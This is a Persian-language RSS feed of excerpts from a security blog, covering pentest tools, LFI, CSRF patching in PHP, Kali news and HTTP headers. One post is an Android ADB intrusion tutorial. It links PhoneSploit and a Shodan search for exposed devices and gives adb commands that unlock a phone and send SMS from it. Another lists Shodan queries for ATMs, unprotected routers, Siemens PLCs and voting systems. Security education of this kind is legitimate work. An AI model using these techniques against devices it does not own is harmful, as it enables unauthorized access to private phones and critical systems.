<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های Bamboo Tech</title>
        <link>https://virgool.io/feed/@bambootech</link>
        <description>?Bamboo Technology  channel?
⚡️The skys the limit with us!⚡️ 
?programming 
?Security</description>
        <language>fa</language>
        <pubDate>2026-06-07 11:12:40</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/55182/avatar/LX27KS.png?height=120&amp;width=120</url>
            <title>Bamboo Tech</title>
            <link>https://virgool.io/@bambootech</link>
        </image>

                    <item>
                <title>۱۰ ابزار رایگان مورد استفاده در هک و تست نفوذ وب</title>
                <link>https://virgool.io/@bambootech/%DB%B1%DB%B0-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1-%D8%B1%D8%A7%DB%8C%DA%AF%D8%A7%D9%86-%D9%85%D9%88%D8%B1%D8%AF-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%AF%D8%B1-%D9%87%DA%A9-%D9%88-%D8%AA%D8%B3%D8%AA-%D9%86%D9%81%D9%88%D8%B0-%D9%88%D8%A8-fbywvw90m46p</link>
                <description>ابزار تست نفوذ وب اپلیکیشن مهم‌ترین بخش فرآیند تست نفوذ است. همه ما به خوبی می‌دانیم که در روزگار قدیم، هک کردن بسیار دشوار بوده و نیاز به کار های دستی زیادی  داشت با این حال، امروزه در اینترنت ما می‌توانیم مجموعه کاملی از ابزارهای تست نفوذ را  پیدا کنیم که هکرها و یا کارشناسان امنیتی را به انسان کامپیوتری، و توانایی تست  بیش از پیش، تبدیل کند.تست نفوذ چیست؟تست نفوذ عملی است برای تست یک سیستم کامپیوتری، شبکه یا وب اپلیکیشن  به منظور یافتن آسیب پذیری که یک مهاجم و یا هکرها می‌تواند از آن استفاده کند.تست‌های نفوذ می‌توانند با برنامه‌های نرم‌افزاری خودکار شوند، و یا می‌توانند به صورت دستی انجام شوند. هدف اصلی از تست نفوذ ، تعیین ضعف‌های امنیتی است.علاوه بر این موارد، می توان از تست نفوذ برای اثبات امنیت سازمان ، آگاهی ایمنی کارکنان و کاربران آن، و توانایی سازمان برای شناسایی و مبارزه با آن اشتباهات یا حملات امنیتی نیز  استفاده کرد.از این رو، برای تقویت مرزهای دفاعی، متخصصان امنیتی باید یک سری ابزارهای  رایگان و تجاری بسازند.برخی از ابزارهای هک رایگان هستند و برخی دیگر رایگان نیستند، اما همگی دنبال یک هدف هستند: مدیر باید این آسیب‌پذیری را قبل از هکرها پیدا کند.هر ابزاری روش های مختلفی برای اسکن دارد، که مدیران امنیتی می‌توانند آن را اجرا کنند و نیز انواع آسیب‌پذیری‌های که به دنبال آن هستند را اجرا کنند.برای دیدن کامل مقاله به بامبوتکنولوژی مراجعه کنیدبه طور کلی، برخی از آن‌ها تعداد نامحدودی از آدرس‌های IP و یا هاست هارا برای بهره‌برداری ارائه می‌دهند و برخی دیگر این کار را نمی‌کنند.ما در مرحله‌ای هستیم که باید با دقت کار کنیم. به طور خلاصه، چرا از اسب و کالسکه برای عبور از کشور استفاده می‌کنید وقتی که می‌توانید در یک هواپیما پرواز کنید! از این رو، ما لیستی از ابزارهای تست نفوذ هوشمند ایجاد کرده‌ایم که کار یک pentester مدرن را سریع‌تر، بهتر، کارآمدتر، و باهوش‌تر می‌سازند.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sun, 26 Jul 2020 23:26:26 +0430</pubDate>
            </item>
                    <item>
                <title>چرا باگ lfi خطرناک است؟</title>
                <link>https://virgool.io/@bambootech/%DA%86%D8%B1%D8%A7-%D8%A8%D8%A7%DA%AF-lfi-%D8%AE%D8%B7%D8%B1%D9%86%D8%A7%DA%A9-%D8%A7%D8%B3%D8%AA-sq5l1un1cdmi</link>
                <description>با توجه به اینکه ممکنه خیلی از شما دوستان ندانید اصلا باگ چیست در نتیجه من یک توضیح مختصری در خدمتتون میدم ؛ با توجه به اینکه برنامه نویس ها یک سری اپلیکیشن ها را طراحی میکنند که ممکن است در این اپلیکیشن ها از قطعه کد های منسوخ شده استفاده شود و در نتیجه این اشتباه منجر به ایجاد یک باگ می‌شود و هکر ها از این باگ ها سو استفاده کرده و وب اپلیکیشن یا .. شما را مورد نفوذ قرار می‌دهندباگ lfi هم یکی از خطرناک ترین باگ های موجود است ؛ این باگ مخفف Local File Inclusion هست و دسترسی کامل را به هکر میدهد ، در واقع دسترسی به خواندن فایل های درون سرور را به مهاجم میدهد که ممکن است این فایل ها خیلی ارزشمند باشند که قطعا همینطور است و دسترسی به این باگ خیلی ساده و پراکنده هست پس باید خیلی روی رفع این باگ کار کنید .برای یادگیری نحوه پچ کردن و رفع این باگ می توانید به مقاله باگ lfi مراجعه کنیدبرای مثال شما با صفحه ای رو به رو می‌شوید که در لینک آن یک ورودی می‌بینید حالا اون ورودی ممکن است اسیب پذیر باشد و باگ lfi را همراه داشته باشد و به نفوذگر اجازه خواندن فایلای درون سرور را بدهدمزایا باگ lfi:دسترسی کامل و دریافت اطلاعات زیادراحت بودن گرفتن دسترسی</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Mon, 27 Apr 2020 15:58:50 +0430</pubDate>
            </item>
                    <item>
                <title>تست نفوذ اندروید با ADB Exploit</title>
                <link>https://virgool.io/@bambootech/%D8%AA%D8%B3%D8%AA-%D9%86%D9%81%D9%88%D8%B0-%D8%A7%D9%86%D8%AF%D8%B1%D9%88%DB%8C%D8%AF-%D8%A8%D8%A7-adb-exploit-pw75zxzexyaa</link>
                <description>در این آموزش که در مورد تست نفوذ اندروید با ADB Exploit می باشد، خواهید آموخت که چگونه به وسیله Android Debug Bridge به صورت خودکار و بدون فرستادن پیلود و لینک از گوشی اندرویدی دسترسی بگیرید.ADB چیست؟Android Debug Bridge ابزاری مفید برای توسعه دهندگان اندروید می باشد که بر روی رایانه شخصی نصب می شود و یک پل اتصال بین دستگاه اندروید و رایانه شخصی ما ایجاد میکند و کنترل دستگاه اندرویدی را به وسیله ترمینال سیستم به ما میدهد.دستورات adb انواع عملکردهای دستگاه مانند نصب و اشکال زدایی برنامه ها را تسهیل می کند ، و دسترسی به پوسته یونیکس را فراهم می کند که می توانید از آن برای اجرای انواع مختلف دستورات بر روی دستگاه استفاده کنید.روش های اتصال دستگاه اندرویدی به سیستم؟برای اتصال اندروید به رایانه می توانیم از دو طریق این کار را انجام دهیم.معمولا توسعه دهندگان با استفاده از کابل USB و فعال کردن حالت USB debugging این اتصال را بین رایانه و اندروید ایجاد میکنند. برای فعال کردن حالت USB debugging باید به قسمت درباره گوشی (about) بروید و روی شماره ساخت (Build number) هفت بار ضربه بزنید تا حالت توسعه دهنده (Developer options) برای شما فعال شود، بعد به قسمت Developer options بروید و حالت USB debugging را فعال کنید.اما راه دیگری هم وجود دارد که می توان با فعال کردن daemon server در اندروید از طریق پورت ۵۵۵۵ tcp این اتصال را بین رایانه و دستگاه اندروید برقرار کرد و در این صورت امکان استفاده از ADB به صورت وایرلس برقرار می شود.در نتیجه اگر توسعه دهنده تصمیم بگیرد به صورت بیسیم از ADB استفاده کند هیچ مانع و محافظی برای ورود افراد غیرمجاز به دستگاه اندروید نیست! و فقط کافی است ip دستگاه اندروید در اختیار هکر قرار بگیرد تا با آن اتصال ADB برقرار کند و به دستگاه اندروید نفوذ کند!ابزار phone sploitدر این آموزش با ابزار phone sploit آشنا می شوید که کاربرد آن برای نفوذ به دستگاه های اندروید از طریق ip و پورت باز ۵۵۵۵ است.توسط این ابزار و دستورات adb قادر به نصب payload در دستگاه اندروید هستیم و میتوان از این طریق دسترسی به گوشی تارگت را افزایش داد!لینک ابزار:https://github.com/metachar/PhoneSploitبرای پیدا کردن ip تارگت هایی که به صورت بیسیم از ADB استفاده میکنند به شودان مراجعه میکنیم:https://www.shodan.io/search?query=android+debug+bridgeمشاهده ویدیو آموزشی Shodanکامند های زیادی برای ADB وجود دارد مثلا در ویدیو آموزش مشاهده کردید که با دستورات adb قفل صفحه گوشی به صورت خودکار باز شد.(به جای XXXX پسورد خودتان را جایگزین کنید)adb shell input keyevent 26 &amp;&amp; adb shell input touchscreen swipe 930 880 930 380 &amp;&amp; adb shell input text XXXX &amp;&amp; adb shell input keyevent 66همچنین کامند های دیگری هم وجود دارد که در ابزار phone sploit نیست مثل کامند زیر که به وسیله آن می توان با گوشی تارگت یک متن دلخواه به شماره مورد نظر خودمان sms کنیم!!جهت مشاهده ویدیوی استفاده از اکسپلویت به این لینک مراجعه کنیدadb shell am start -a android.intent.action.SENDTO -d sms:+989150000000 --es sms_body &amp;quotBambootech --ez exit_on_sent false &amp;&amp; input keyevent 66</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sun, 19 Apr 2020 18:01:19 +0430</pubDate>
            </item>
                    <item>
                <title>معرفی باگ CSRF</title>
                <link>https://virgool.io/@bambootech/%D9%85%D8%B9%D8%B1%D9%81%DB%8C-%D8%A8%D8%A7%DA%AF-csrf-zlyuopq6oywj</link>
                <description>باگ CSRF چیست؟باگ csrf در اصل یکی از رایج ترین باگ ها در دنیای وب است که به هکر امکان دسترسی از حساب کاربری را میدهد هدف اصلی هر هکر برای استفاده از این باگ دسترسی به حساب کاربری ادمین و ریست پسورد است که باعث میشود هکر به وب سایت مورد نظر دسترسی پیدا کند و عمل مخربانه خود را انجام دهد.این باگ میتواند به حد خیلی زیادی خطرناک باشد در واقع باگ csrf مخفف Cross site request forgery است که یعنی جعل یا دسترسی به نشست های وب سایت این عمل با ارسال یک درخواست (request) از طرف هکر به ادمین انجام میشود که سبب دسترسی غیر مستقیم از طرف هکر میشودچگونه باگ CRSF را پیدا کنیم؟به کلی پیشنهاد میشود شما امنیت سایت خود را به صورت کامل بررسی کنید و اسکن های متعددی انجام دهید چرا که ممکن است هر نوع باگی در وب سایت شما وجود داشته باشد و راهی ساده برای دسترسی به پنل ادمین را برای فرد هکر آزاد سازید برای اسکن وب سایت خود میتوانید از اسکنر های موجود برای اسکن وبسایت استفاده کنید همانند وگا ، اسکیپ فیش و ابزار های دیگری که برای نصب آنها در پلتفرم لینوکس میتوانید از ابزار ch8tools نیز استفاده کنیدچگونه باگ CSRF را پچ کنیم؟برای رفع این باگ و گذاشتن دیواری در برابر فرد هکر میتوانید از کپچا و یا محدودیت زمان ورود کاربر و از بین بردن  session و یا روش های دیگری را مورد استفاده قرار دهیدبرای کار با session ها در php باید در وهله اول باید سیزن را استارت کنیدsession_start();با قطعه کد بالا در اصل ما session را استارت میکنیم و حالا باید یک توکن تصادفی بسازیم که به صورت زیر نوشته میشود$tk = md5(uniqid(rand(), TRUE));و حالا باید یک session ایجاد کنیم و مقدار session را برابر با این توکن قرار دهیم ، به این صورت :$_SESSION[&#039;bambootech&#039;] = $tk;حال باید داخل تگ فورم در سورس یک اینپوت ایجاد کنیم از نوع hidden و مقدار یا value را برابر با متغیر $tk و name را برابر با نام session ساخته شده قرار دهیم&lt;input type=&amp;quothidden&amp;quot name =&amp;quotbambootech&amp;quot value=&amp;quot&lt;?php echo $tk; ?&gt;&amp;quot&gt;حالا کافی است در سورس php که مقادیر را توسط متد POST دریافت میکند و به اصطلاح پنل کاربر است کدی مبنی بر این که توکن داخل سیزن با توکن دریافتی مطابقت دارد اضافه کنیمif ($_SESSION[&#039;bambootech&#039;] === $_POST[&#039;bambootech&#039;]){

// کاری که در صورت درست بودن انجام میدهد

}else{

//کاری که در صورت اشتباه بودن انجام میدهد

}در اخر شما باید مقدار session را خالی کنید که میتوانید از قطعه کد زیر استفاده نماییدunset($_SESSION[&#039;bambootech&#039;]);</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Tue, 07 Apr 2020 14:08:48 +0430</pubDate>
            </item>
                    <item>
                <title>شودان-خطرناک ترین موتور جستجوی جهان!</title>
                <link>https://virgool.io/@bambootech/%D8%B4%D9%88%D8%AF%D8%A7%D9%86-%D8%AE%D8%B7%D8%B1%D9%86%D8%A7%DA%A9-%D8%AA%D8%B1%DB%8C%D9%86-%D9%85%D9%88%D8%AA%D9%88%D8%B1-%D8%AC%D8%B3%D8%AA%D8%AC%D9%88%DB%8C-%D8%AC%D9%87%D8%A7%D9%86-zol03s8qtots</link>
                <description>SHODANشودان(shodan) چیست؟موتور جستجوگر محبوب هکر هاست که اطلاعات ارزشمندی می توان از آن بدست آورد مثل پورت های باز سرویس های مختلف، سرور های آسیب پذیر، دستگاه های کنترل با پنل وب، انواع پروتکل های معروف مثل ssh و rdp و…کاربرد شودان چیست؟زمانی که یک آسیب پذیری مربوط به یک پروتکل یا یک سیستم عامل لو میرود هکر ها برای پیداکردن تارگت و انجام تست نفوذ روی آن به shodan مراجعه میکنند و به راحتی تارگت مورد نظر را پیدا میکنند.برای سرچ تارگت به صورت دقیق مثلا محدود به ناحیه جغرافیایی یا نوع سیستم عامل باید از فیلتر های جستجو استفاده کنید.فیلترهای اصلی شودان:city:Londoncountry:GBgeo:51.913055,118.250865server:”gws” hostname:”google”net:210.204.0.0/16os:”windows 7″port:21apache after:22/02/2015 before:14/3/2018می توانید از فیلترهای ترکیبی برای جستجوی دقیق تر استفاده کنید.تمامی فیلتر های شودان:https://beta.shodan.io/search/filtersهمچنین کوئری های زیادی برای پیدا کردن سیستم و سرویس های مختلف وجود دارد که با کمی سرچ در اینترنت پیدا میکنید. چند نمونه خطرناک میشه به کوئری هایی اشاره کرد که دستگاه های SCADA و پنل کنترل دستگاه های صنعتی را برای ما آشکار میکنند!!برای دیدن کامل این پست  به همراه ویدیو آموزشی  به سایت بامبو تکنولوژی مراجعه کنیدچند نمونه از کوئری های شودان:پیداکردن ATM هاNCR Port:161پیداکردن روتر های برزیلی (اکثرا بدون پسورد)html:def_wirelesspasswordپیدا کردن کنترل پنل PLC های زیمنسSiemens, SIMATIC port:161پیدا کردن سیستم های رأی گیری آمریکاvoter system serial country:USدر این بخش هم می توانید یک دید کلی نسبت به همه آسیب پذیری ها و سرویس ها و پورت های باز یک کشور داشته باشید!https://exposure.shodan.ioاین بخش یک موتور جستجوی قدرتمند اکسپلویت در اختیار شما قرار میدهد. نام سرویس یا سامانه ای که هدف شماست را در آن سرچ کنید و اکسپلویت های آن را مشاهده میکنید.https://exploits.shodan.io/welcomeاین بخش برای تشخص هانی پات بودن یک آیپی است.https://honeyscore.shodan.io</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Tue, 31 Mar 2020 13:50:54 +0430</pubDate>
            </item>
                    <item>
                <title>هکینگ چیست؟ معرفی و انواع آن</title>
                <link>https://virgool.io/@bambootech/%D9%87%DA%A9%DB%8C%D9%86%DA%AF-%DA%86%DB%8C%D8%B3%D8%AA-%D9%85%D8%B9%D8%B1%D9%81%DB%8C-%D9%88-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D8%A2%D9%86-kfodvaui3z1j</link>
                <description>هک کردن شناسایی آسیب‌پذیری در سیستم‌های کامپیوتری یا شبکه‌ها به منظور اکسپلویت کردن اسیب‌پذیری برای دسترسی گرفتن می‌باشد. نمونه‌ای از هک کردن:استفاده از الگوریتم شکستن گذرواژه برای دسترسی به سیستم.برای داشتن یک کسب و کار موفق این روزا استفاده از کامپیوتر اجباری مباشد. داشتن کامپیوتر به تنهای کافی نیست؛ بلکه نیاز به شبکه کردن آنها به منظور اتصال به کسب و کارهای خارجی میباشد. همین جمله باعث و بانی بسیاری از مشکلاتی است که از دهه ۱۹۹۰ با ان درگیر هستیم. هک شدن. هک کردن به معنی استفاده از کامپیوترها برای انجام اقدامات خرابکارانه مانند تقلب، تهاجم به حریم خصوصی، سرقت داده‌های شرکتی / شخصی و غیره است. جرایم سایبری هر ساله میلیونها دلار هزینه در بر دارند. تجارت‌ها باید از خودشان در برابر چنین حملاتی محافظت کنند.هکر کیست؟ انواع هکربرای مطالعه کامل مقاله به  این لینک مراجعه کنید یک هکر شخصی است که میتواند آسیب‌پذیری‌های سیستم‌های کامپیوتری و/یا شبکه‌ها را بیابد و از آن‌ها دسترسی بگیرد. هکرها معمولا دارای مهارت برنامه نویسی کامپیوتر و دانش امنیت کامپیوتر هستند.هکرها بسته به فعالیت‌هاش دسته‌بندی میشوند.هکر کلاه سفید(هکر اخلاقی)یک هکر که با مجوز از صاحب سیستم به منظور بررسی و رفع اسیب‌پذیری‌ها اقدام میکند. آن‌ها همچنین ممکن است تست نفوذ و ارزیابی‌های آسیب‌پذیری را انجام دهند.هکر کلاه سیاه(کرکر)یک هکر که دسترسی غیرمجاز به سیستم‌های کامپیوتری برای منافع شخصی را به دست می‌آورد. هدف معمولا سرقت داده‌های شرکت، نقض حقوق حریم خصوصی، انتقال وجوه از حساب‌های بانکی و غیره است.هکر کلاه خاکسترییک هکر که بین هکر اخلاقی و کلاه سیاه میباشد. به سیستم‌های کامپیوتری به منظور مشخص کردن اسیب‌پذیری‌ها برای صاحب سیستم نفوذ میکند.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 30 Jan 2020 14:30:58 +0330</pubDate>
            </item>
                    <item>
                <title>ورژن جدید سیستم عامل کالی لینوکس منتشر شد</title>
                <link>https://virgool.io/@bambootech/%D9%88%D8%B1%DA%98%D9%86-%D8%AC%D8%AF%DB%8C%D8%AF-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-%D8%B9%D8%A7%D9%85%D9%84-%DA%A9%D8%A7%D9%84%DB%8C-%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3-%D9%85%D9%86%D8%AA%D8%B4%D8%B1-%D8%B4%D8%AF-pmsfruhflo67</link>
                <description>ورژن ۲۰۲۰.۱  کالی لینوکس با ابزار های  جدید، بهبودها در تم  و کالی  مخفی، به طور پیش‌فرض و به صورت  یک image نصب‌کننده تکی اضافه شد .با انتشار این ورژن همانطور که قبلا اعلام شده بود، کالی لینوکس به یک کاربر root غیر root وارد شد و همچنین نسخه NetHunter rootless را اعلام کرد.در اوایل سال جاری ، تیم کالی لینوکس  در Offensive Security از انتقال به مدل “کاربر پیش فرض non-root ” خبر داد ، اکنون این تغییرات با نسخه ۲۰۲۰.۱  اعمال شده استدر ابتدا كالی لینوکس  سیاست root پیش فرض را از پیشینیان خود به ارث برده بود ، با شروع كالی ۲۰۲۰.۱ دیگر حساب كاربری super وجود ندارد و كاربر پیش فرض هم اكنون یك كاربر استاندارد و عادی استبرای مطالعه کامل مقاله به این لینک مراجعه کنیداین تغییر به دلایل امنیتی صورت گرفته و از این به بعد به جای root /toor  از kali/kali استفاده خواهد شد.یکی دیگر از تغییرات قابل توجه در کلی لینوکس  ، نصب تک  image است ، کالی لینوکس  دیگر تصاویر را برای هر محیط دسکتاپ  ارائه نمی دهد. در عوض ، آنها اکنون یک image واحد ارائه می دهند و از شما می خواهند محیط دسکتاپ خود را انتخاب کنید.نسخه جدید همچنین به کاربران امکان می دهد ابزارهایی را که همراه با نصب درج شده اند انتخاب کنند. برای نصب یک image سفارشی به جز بسته های Xfce و پیش فرض ، به اتصال اینترنتی نیاز دارد.در image نصب حالت live قرار داده نشده است. برای اینکه از حالت live استفاده کنید باید image کالی لینوکس را  برای live داشته باشید</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 30 Jan 2020 13:36:13 +0330</pubDate>
            </item>
                    <item>
                <title>زندگی به عنوان مدیر سیستم لینوکس</title>
                <link>https://virgool.io/@bambootech/%D8%B2%D9%86%D8%AF%DA%AF%DB%8C-%D8%A8%D9%87-%D8%B9%D9%86%D9%88%D8%A7%D9%86-%D9%85%D8%AF%DB%8C%D8%B1-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3-lcumgsbxtnwg</link>
                <description>اگر در مورد تبدیل شدن به یک مدیر سیستم لینوکس فکر می‌کنید و یا به عنوان یکی از کارتان ادامه می‌دهید باید این گزیده‌ای را از تجربه مدیر سیستم بخوانید.مدیریت سیستم لینوکس شغلی است که می تواند سرگرم کننده ، ناامید کننده ، ذهنی چالش برانگیز ، خسته کننده و غالباً منبع بزرگی از برجام و یک منبع فرسودگی عالی باشد. یعنی این کار مثل هر روز با روزهای خوب و با بد است. من مانند اکثر مدیران سیستم ، تعادل پیدا کردم که برای من مؤثر باشد. من وظایف منظم خود را با سطوح مختلف اتوماسیون و دستکاری دستی انجام می دهم و همچنین تحقیق نسبتاً خوبی انجام می دهم که معمولاً به عنوان مقاله به پایان می رسد. دو سؤال وجود دارد که من در این مقاله به شما پاسخ می دهم. دوم ، “چگونه یک مدیر سیستم می شود؟” ، و دوم ، “یک مدیر سیستم لینوکس چه کاری انجام می دهد؟”تبدیل شدن به یک مدیر سیستماز آنجا که هیچ مدیر کالج مدیر سیستم لینوکس وجود ندارد و هیچ مسیر یادگیری واقعی برای مدیران سیستم لینوکس وجود ندارد ، چگونه یک مدیر سیستم لینوکس می شود؟ بیشتر سرپرستان سیستم لینوکس (SA) به طور تصادفی وارد میدان شدند. نه ، به طور جدی فقط یکی بپرس برخی از SA به عنوان حاشیه ای از لینوکس ، وظایف خود را به عنوان Unix SA در نظر گرفتند ، زیرا علاقه و پذیرش در اواخر دهه 1990 زیاد شد. با تبدیل شدن لینوکس به یک مرکز داده استاندارد و “طعم” های مختلف یونیکس از محبوبیت کمتری برخوردار شدند ، کسانی که می خواستند در آن کار کنند ، در صورت نیاز به مدیران لینوکس تبدیل می شدند.برای مدیران جدید لینوکس ، بسیاری از علاقه مندان به عنوان علاقه مندان به خانه ، گیمرها یا سرپرستهای مخفی سرورهای دانشگاه وارد کار خود می شوند. این چنین است که برای من اتفاق افتاد. به محض اینکه لینوکس را برای اولین بار در سال 1995 دیدم ، قلاب شدم. در ژانویه سال 1996 ، من گروه محلی کاربر لینوکس (LUG) را در Tulsa ، اوکلاهما ، قسمت اعظم گروه علاقه ویژه یونیکس (Unix SIG) شروع کرده بودم.آغاز کار من با لینوکس بسیار دشوار بود.اولین بار در یک مجله روی لینوکس رفتم که در آن می‌توانستم یک دستگاه سی‌دی ۲ را در اوایل سال ۱۹۹۵ خریداری کنم وقتی در WorldCom کار می‌کردم . من یک سرور گروه FTP / دانلود را برای همکاران گروه پشتیبانی دسکتاپ خود نصب کردم. چند هفته بعد، یکی از “gurus“ در گروه دیگری به من گفته شد: “ من مطمئن نبودم که چه چیزی مجاز است و چه چیزی وجود ندارد،بنابراین من سرور را نگه داشتم اما سامبا را بر روی آن نصب کردم و اطلاعات سرصفحه daemon را تغییر دادم تا به نظر برسد سیستم کوچک من سرور ویندوز است.بعد از اینکه گروه پشتیبانی رومیزی را ترک کردم، به مدیریت دامنه ویندوز رفتم. من یک سیستم Red Hat Linux 4.0 نصب کردم که در زیر میز من از چشمان تیزبین مخفی کردم. من همچنین Samba را روی آن نصب کردم تا درباره کاوشگر شبکه و رهبر تیم آزار دهنده من که زمانی پرسید: ” کارگزار لینوکس برای ما چه کار می‌کند؟” پاسخ من این بود: ” این کار برای ما انجام نمی‌دهد، اما برای من کاره‌ای زیادی انجام می‌دهد. من از آن برای تحقیق استفاده می‌کنم، تا زمانی که به گروه دیگری منتقل شدم، سیستمRed Hat Linux  را نگه داشتم. لینوکس هنوز در شبکه مجاز نبود. هنوز اهمیتی نمی‌دادم. بله، من مخالف  بودم، اما قصد نداشتم در این اطراف بنشینم و با ویندوز ۳.۱۱ و ویندوز ۹۵ درگیر شوم، در حالی که بقیه جهان لینوکس را پذیرفتند.در صورت علاقه به خواندن ادامه مقاله به لین زیر مراجعه کنیدلینک مقاله</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 09 Jan 2020 12:42:55 +0330</pubDate>
            </item>
                    <item>
                <title>?چگونه هوش مصنوعی و امنیت سایبری در سال 2020 تلاقی خواهند کرد؟</title>
                <link>https://virgool.io/dataio/%DA%86%DA%AF%D9%88%D9%86%D9%87-%D9%87%D9%88%D8%B4-%D9%85%D8%B5%D9%86%D9%88%D8%B9%DB%8C-%D9%88-%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D8%B3%D8%A7%DB%8C%D8%A8%D8%B1%DB%8C-%D8%AF%D8%B1-%D8%B3%D8%A7%D9%84-2020-%D8%AA%D9%84%D8%A7%D9%82%DB%8C-%D8%AE%D9%88%D8%A7%D9%87%D9%86%D8%AF-%DA%A9%D8%B1%D8%AF-wqu3nwhz9tie</link>
                <description>?بسیاری از بحث‎هایی که درباره رابطه امنیت سایبری ، هوش مصنوعی(AI) و یادگیری ماشین (ML) شکل میگیرند ، حول این محور است که هوش مصنوعی و یادگیری ماشین چگونه می توانند عملکرد امنیت محصول را بهبود ببخشند . با این حال ، این در واقع تنها یک بخش از ارتباط بسیار گسترده تر بین امنیت سایبری و هوش مصنوعی است.?از آنجا که استفاده کاربردی از هوش مصنوعی/یادگیری ماشین شروع به پیشبرد و گسترش در سراسر موارد استفاده مشاغل و فناوری می کند ، کارشناسان امنیتی برای کمک به همکاران خود در مشاغل دیگر نیاز دارند تا در مورد خطرات جدید ، روش‏‏‎های جدید تهدید ، دامنه های تخصصی جدید ، و ، بله ، گاهی اوقات با راه حلهای جدید امنیتی به آنها کمک کنند.?در سال 2020 ، تحلیلگران تجارت‎ و فناوری انتظار دارند Solid applicationهایی(یک نوع از برنامه‎های کاربردی که مبتنی بر داده‎های عمومی میباشند) که بر پایه هوش مصنوعی و یادگیری ماشین هستند ، تسریع یابند.?این بدین معنی میباشد CISOها(یک جایگاه شغلی میباشد) و کاربلدهای امنیت نیاز خواهند داشت تا به سرعت روی خطرات امنیتی هوش مصنوعی که کسب و کارها را تهدید میکنند ، کار کنند.1. الوده کردن داده‎های هوش مصنوعی/یادگیری ماشینصنعت امنیت نیاز دارد تا به حملاتی نظیر الوده کردن داده‎های تمرینی برنامه‎های تجاری که منجر به مختل کردن فرایند تصمیم گیری میشوند ، توجه داشته باشد.برای مثال تصور کنید ، شرکت‌هایی مبتنی بر هوش مصنوعی برای خودکارسازی تصمیمات زنجیره تأمین(supply chain decisions) هستند.یک مجموعه داده الوده شده میتواند باعث کمبود بیش از حد یا زیاد کالا شود.?هایان سونگ مدیر کل بازارهای امنیتی Splunk می گوید: “انتظار دارید تلاش هایی برای مسموم کردن الگوریتم با نمونه های داده های خاص که بطور خاص برای خاموش کردن روند یادگیری یک الگوریتم یادگیری ماشین طراحی شده اند ، مشاهده شود.” “این فقط به کپی کردن فناوری هوشمند نمی پردازد بلکه ساختن آن به گونه ای است که الگوریتم به خوبی کار می کند – در حالی که نتایج نادرست را تولید می کند.”درصورت علاقه به خواندن ادامه مقاله میتوانید از طریق لینک زیر آن را مطالعه کنیدلینک مقاله</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sat, 04 Jan 2020 15:55:31 +0330</pubDate>
            </item>
                    <item>
                <title>امنیت هدر های HTTP</title>
                <link>https://virgool.io/@bambootech/%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D9%87%D8%AF%D8%B1-%D9%87%D8%A7%DB%8C-http-wj2jdon5n6mv</link>
                <description>شرکت‌هایی که “کارت‌های امنیتی” می‌فروشند، در حال افزایش هستند و در فروش شرکت به یک عامل تبدیل شده‌اند. من از مشتریانی شنیدم که نگران خرید از تامین کنندگان بودند که امتیاز ضعیف داده بودند، و حداقل یک مورد تصمیم خرید را در ابتدا براساس این رتبه تغییر داد. من بررسی کردم که چگونه این شرکت‌ها امتیازات امنیت شرکت‌ها را محاسبه می‌کنند، و مشخص می‌شود که آن‌ها از ترکیبی از هدر  امنیتی HTTP و اعتبارIP استفاده می‌کنند. اعتبار IP براساس فهرست‌های blacklists و اسپم با داده‌های مالکیت IP پابلیک ترکیب شده‌است. این موارد معمولاً باید تمیز باشند تا  شرکت شما اسپم نکند و به سرعت نفوذ های بد افزار  را کشف و متوقف کند. هدر امنیتی HTTP با نحوه کار محاسبه گر  موزیلا محاسبه می‌شود.بنابراین برای اغلب شرکت‌ها، امتیاز آن‌ها عمدتا با  هدر امنیتی مشخص‌شده بر روی وب سایت‌ها تعیین می‌شود.تعیین هدر صحیح را می توان به سرعت انجام داد (معمولا بدون آزمون قابل‌توجه)، می‌تواند امنیت وب سایت را بهبود بخشد و اکنون می‌تواند به شما کمک کند تا با مشتریان آگاه امنیتی سر و کار داشته باشید.من در مورد ارزش این روش آزمایش و طرح‌های قیمتی گزاف این شرکت‌ها شک دارم. من باور نمی‌کنم که آن مرتبط با امنیت محصول باشد. با این حال، قطعا اهمیت صرف زمان در تنظیم headers و گرفتن حق آن‌ها را افزایش می‌دهد.در این مقاله ، من از طریق عنوانهای متداول، مقادیر امنیتی را برای هر یک توصیه می کنم و یک نمونه سرآغاز نمونه می گذارم. در پایان مقاله ، تنظیمات نمونه برای برنامه های رایج و سرورهای وب را درج خواهم کرد.هدر های امنیتی مهمContent-Security-PolicyStrict-Transport-SecurityX-Content-Type-OptionsCache-ControlExpiresX-Frame-OptionsAccess-Control-Allow-OriginSet-CookieX-XSS-Protection                                                                             برای خواندن کامل این مقاله به  لینک زیر مراجعه کنید  لینک مقاله</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 02 Jan 2020 00:22:20 +0330</pubDate>
            </item>
                    <item>
                <title>در برنامه خود دیگر از Else استفاده نکنید</title>
